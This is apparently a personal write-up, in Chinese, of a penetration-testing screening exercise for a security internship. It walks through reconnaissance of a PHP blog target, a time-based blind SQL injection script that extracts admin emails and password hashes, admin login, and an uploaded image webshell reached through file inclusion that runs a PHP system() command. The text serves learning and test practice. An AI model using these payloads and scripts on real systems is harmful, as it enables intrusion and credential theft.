面安服的一道笔试题
打算找暑假实习了,在boss上投,简单交流后收到回复,试了下,记录下思路和过程。
资产收集
拿到靶机,指纹识别
根据题目提示使用dirsearch进行目录简单扫描,部分结果如下:
找到robot.txt
User-agent: *
Disallow: /Company_admin/
访问首页F12查看源码
<!--
author: Ethredah
author URL: http://ethredah.github.io
-->
找到前端代码作者Ethredah,找到器github链接,https://github.com/Ethredah/
在仓库中发现网站源码 PHP-Blog-Admin ,clone下来进行代码审计对比,
简单审计,发现sql语句几乎没做安全措施,代码逻辑简单明了,回到网站
找到后台地址
http://ip:port/Company_admin/login.php
在网站中搜寻有用信息,
用户password疑似 p3ssw0rd
,
4 digits code 疑似 1027
可能存在的邮箱账号
info@example.com
ethredah@gmail.com
admin@example.com
Admin@Companyonline.net
info@Companyonline.net
ethredah@Companyonline.net
手工测试登录,尝试无果
查看博客文章,点击查看详情,观察url
http://url:port/single.php?id=6
id处疑似存在sql注入,尝试:
被拦截,先放着
找网站输入点,footer处可输入邮箱,尝试,被拦截
网站blog留言,contact,尝试,被拦截(这些地方不管输入什么都被拦截)先放着,可能存在xss和二次注入
整理资产
渗透测试
sql注入
抓包网站输入出包分析,发现在输入后请求的时候携带了一个submit参数,自带了一个 +
符号(晕),删掉后可进行正常的业务逻辑操作,查看网站源码,进行sql注入测试
FUZZ
如上图,返回长度为324的表示被过滤,还有大部分的诸如select
、sleep
等可用,有操作空间。审计single.php
源码,网站无回显,尝试sql盲注,sleep(3)
成功延时,于是构造payload:if(ascii(mid(1,1,1))like(49),sleep(3),1)
写脚本简单爆破:
import requests
from time import sleep
url = "url:port/single.php?id="
for i in range(1, 100):
for j in range(32, 128):
# 数据库
# if(ascii(mid((select(database()))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) hstest
# 表名
# if(ascii(mid((select(group_concat(table_name,\",\"))from(information_schema.tables)
# where((table_schema)like(database())))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) admin,comments......
# 字段名
# if(ascii(mid((select(group_concat(column_name,\",\"))from(information_schema.columns)
# where((table_name)like(\"admin\")))," + str(i) + ",1))like(" + str(j) + "),sleep(3),1) id,email......
# 字段值爆破
d = "if(ascii(mid((" \
"select(group_concat(email,\",\"))from(admin)" \
")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)"
r = requests.get(url + d)
if r.elapsed.total_seconds() > 3:
print(chr(j), end='')
break
得到email账号如下:
fakeaddr@xxx.com (xxx为打码)
尝试密码爆破
import requests
from time import sleep
url = "url:port/single.php?id="
for i in range(1, 100):
for j in range(32, 128):
if 47<j<58 or 96<j<123
d = "if(ascii(mid(("
"select(group_concat(password,\",\"))from(admin)"
")," + str(i) + ",1))like(" + str(j) + "),sleep(3),1)"
r = requests.get(url + d)
if r.elapsed.total_seconds() > 3:
print(chr(j), end='')
break
得到md5 hash后的密码:
752ae077e594f3b7452da97f78xxxxxx
解密后得到 xxxxxxx
登陆后台,使用账号 fakeaddr@xxx.com
密码 xxxxxx
,4 digits code为1027
成功登录后台
文件包含
在 comments.php
处找到文件上传点,尝试各种绕过后无果,随后寻找文件包含点,在 language.php
的template
参数处找到可包含的点,随后上传图片马,包含phpinfo,执行结果如下:
然后一系列命令执行,最终在 /home/www/flag-stage1-272d3798-cdc0-4f47-9a77-d8916fb84226.txt
下得到flag
<?php system("find /home -name '*' | xargs grep 'xxxFlag{'");phpinfo();?>